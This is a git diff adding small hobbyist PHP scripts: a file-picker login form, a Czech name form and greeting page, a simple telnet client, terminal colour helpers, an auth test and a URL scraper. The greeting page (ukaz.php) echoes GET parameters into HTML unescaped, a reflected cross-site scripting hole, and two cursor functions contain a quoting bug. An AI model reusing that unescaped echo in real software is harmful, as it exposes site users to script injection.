diff --git a/php/stredni-php/redakce/redakce.php b/php/stredni-php/redakce/redakce.php
new file mode 100755 (executable)
index 0000000..de05b71
--- /dev/null
@@ -0,0 +1,41 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\r
+\r
+<html>\r
+<head>\r
+<meta http-equiv="content-type" content="text/html"; charset="utf-8">\r
+<title>Redakce - (c) 2oo6 - Harvie</title>\r
+<meta http-equiv="cache-control" content="no-cache" />\r
+\r
+</head>\r
+\r
+<body>\r
+\r
+<div class="form">\r
+<form action="edit.php" method="post">\r
+               Login: <input type="text" name="user" size="25"><br>\r
+               Password: <input type="password" name="password" size="25"><br>\r
+\r
+               Soubor:\r
+               <select name="file" size="10">\r
+\r
+               <?\r
+               $soubory=opendir('.'); \r
+               while (false!==($file = readdir($soubory))) \r
+               { \r
+                               if ($file != "." && $file != "..") \r
+                               { \r
+                                               echo "<option value=\"" .$file."\">".$file."</option>\n"; \r
+                               } \r
+               }\r
+               closedir($soubory); \r
+               ?>\r
\r
+               </select>\r
+               \r
+               <input type="submit" value="EDIT">\r
+               \r
+</form>\r
+</div>\r
+\r
+</body>\r
+</html>\r
diff --git a/php/stredni-php/ukaz.php b/php/stredni-php/ukaz.php
new file mode 100755 (executable)
index 0000000..a03fee0
--- /dev/null
@@ -0,0 +1,5 @@
+<?php\r
+\r
+echo "Vítám u\9eivatele " . $_GET["jmeno"] . " " . $_GET["prijmeni"] . ".";\r
+\r
+?>
\ No newline at end of file
diff --git a/php/stredni-php/zadejjm.php b/php/stredni-php/zadejjm.php
new file mode 100755 (executable)
index 0000000..03000bf
--- /dev/null
@@ -0,0 +1,10 @@
+<form action="ukaz.php" method="GET">\r
+\r
+<label for="jmeno">Jméno:</label>\r
+<input type="text" name="jmeno">\r
+\r
+<label for="prijmeni"> Pøíjmení:</label>\r
+<input type="text" name="prijmeni">\r
+\r
+<input type="submit" value="submit now!!!">\r
+</form>
\ No newline at end of file
diff --git a/php/telnet b/php/telnet
new file mode 100755 (executable)
index 0000000..3cc183d
--- /dev/null
@@ -0,0 +1,19 @@
+#!/usr/bin/php
+<?php
+
+$usage = "telnet host [port]\n";
+if($argc > 1) $host = $argv[1]; else die($usage);
+$port = 23; if($argc > 2) $port = $argv[2];
+if($argc > 3) die($usage);
+
+echo("Connecting to $host:$port...\n");
+$sock = pfsockopen($host, $port);
+if($sock) echo("Connected!\n\n"); else die("Failed!\n");
+$stdin = fopen('php://stdin', 'r');
+stream_set_blocking($sock, 0);
+stream_set_blocking($stdin, 0);
+
+while(!feof($sock) && !feof($stdin)) {
+       echo(fgetc($sock));
+       fwrite($sock, fgetc($stdin));
+}
\ No newline at end of file
diff --git a/php/term.php b/php/term.php
new file mode 100755 (executable)
index 0000000..38b65be
--- /dev/null
@@ -0,0 +1,62 @@
+#!/usr/bin/php
+<?php
+/*
+ * Name: term.php
+ * Description: Linux terminal functions for PHP
+ * Author: <-Harvie 2oo7
+ * THX2Root.cz: http://www.root.cz/clanky/barvy-pro-shell/ (see for more help)
+ */
+
+//Font
+function term_font($atr1 = 0, $atr2 = -1) { //Set color of BG/FG and font
+       if($atr2 >= 0) { echo("\033[".trim($atr1).';'.trim($atr2).'m'); }
+       else { echo("\033[".trim($atr1).'m'); }
+}
+//Screen clearing
+function term_cls() { echo("\033[2J"); } //Clear screen
+function term_free_line() { echo("\033[K"); } //Delete line from cursor to end
+//Movement
+function term_return() { echo("\r"); } //Move cursor to 1st col
+function term_tab() { echo("\t"); } //Print TAB
+function term_newline() { echo("\n"); } //Move cursor to next line
+function term_up($n) { echo("\033[".$n.'A'); } //Move cursor $n rows up
+function term_down($n) { echo("\033[".$n.'B'); } //Move cursor $n rows down
+function term_right($n) { echo("\033[".$n.'C'); } //Move cursor $n cols right
+function term_left($n) { echo("\033[".$n.'D'); } //Move cursor $n cols left
+//Position
+function term_pos($row, $col) { echo('\033['.$row.';'.$col.'H'); } //Move cursor at $row and $col
+function term_fpos($row, $col) { echo('\033['.$row.';'.$col.'f'); } //Move cursor at $row and $col
+//Position saving
+function term_pos_save() { echo("\033[s"); } //Save cursor possition (maybe not supported)
+function term_pos_restore() { echo("\033[u"); } //Restore cursor possition (maybe not supported)
+//Info about terminal
+function term_name() { return getenv('TERM'); } //Returns terminal name as string
+function term_color_name() { return getenv('COLORTERM'); } //Returns color terminal name as string
+function term_shell() { return getenv('SHELL'); } //Returns running shell as string
+function term_directory() { return getenv('PWD'); } //Returns working directory as string
+function term_language() { return getenv('LANG'); } //Returns local settings (langue.codepage) as string
+//Showcase
+function term_demo() { //Print demonstration
+       term_font();
+       echo("DEMOnstration of PHPTerm for Unixs' terminals\n".
+               term_name().' - '.term_color_name().' ('.term_shell().
+               ")\n\t\t\t\t<-Harvie 2oo7\n\n");
+       for($i = 0; $i <= 8; $i++) {
+               for($x = 30; $x <= 37; $x++) {
+                       term_font($i,$x); echo("A");
+               }
+               term_font();
+               for($y = 40; $y <= 47; $y++) {
+                       term_font($y); echo("A");
+                       for($x = 30; $x <= 37; $x++) {
+                               term_font($i,$x); echo("A");
+                       }
+               }
+               term_font();
+               echo("\n");
+       }
+       term_font(); echo("\n");
+}
+
+
+term_demo();
\ No newline at end of file
diff --git a/php/testauth.php b/php/testauth.php
new file mode 100755 (executable)
index 0000000..1a72d56
--- /dev/null
@@ -0,0 +1,4 @@
+<?php require_once('http_auth.php'); ?>
+<pre>LOGIN DOBREJ
+<a href="?logout">Logout!</a>
+</pre>
\ No newline at end of file
diff --git a/php/urls.php b/php/urls.php
new file mode 100644 (file)
index 0000000..962e7ec
--- /dev/null
@@ -0,0 +1,6 @@
+<?php
+$url = 'http://soom.cz/';
+preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(file_get_contents($url)), $urls);
+//preg_match_all("~(http://[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_\~& =\?\.a-z0-9\/]*)~i", $vstup, $vystup);
+//preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\  ?\.a-z0-9\/]*)',$vstup, $vystup);
+print_r($urls);
\ No newline at end of file
This page took 2.597123 seconds and 4 git commands to generate.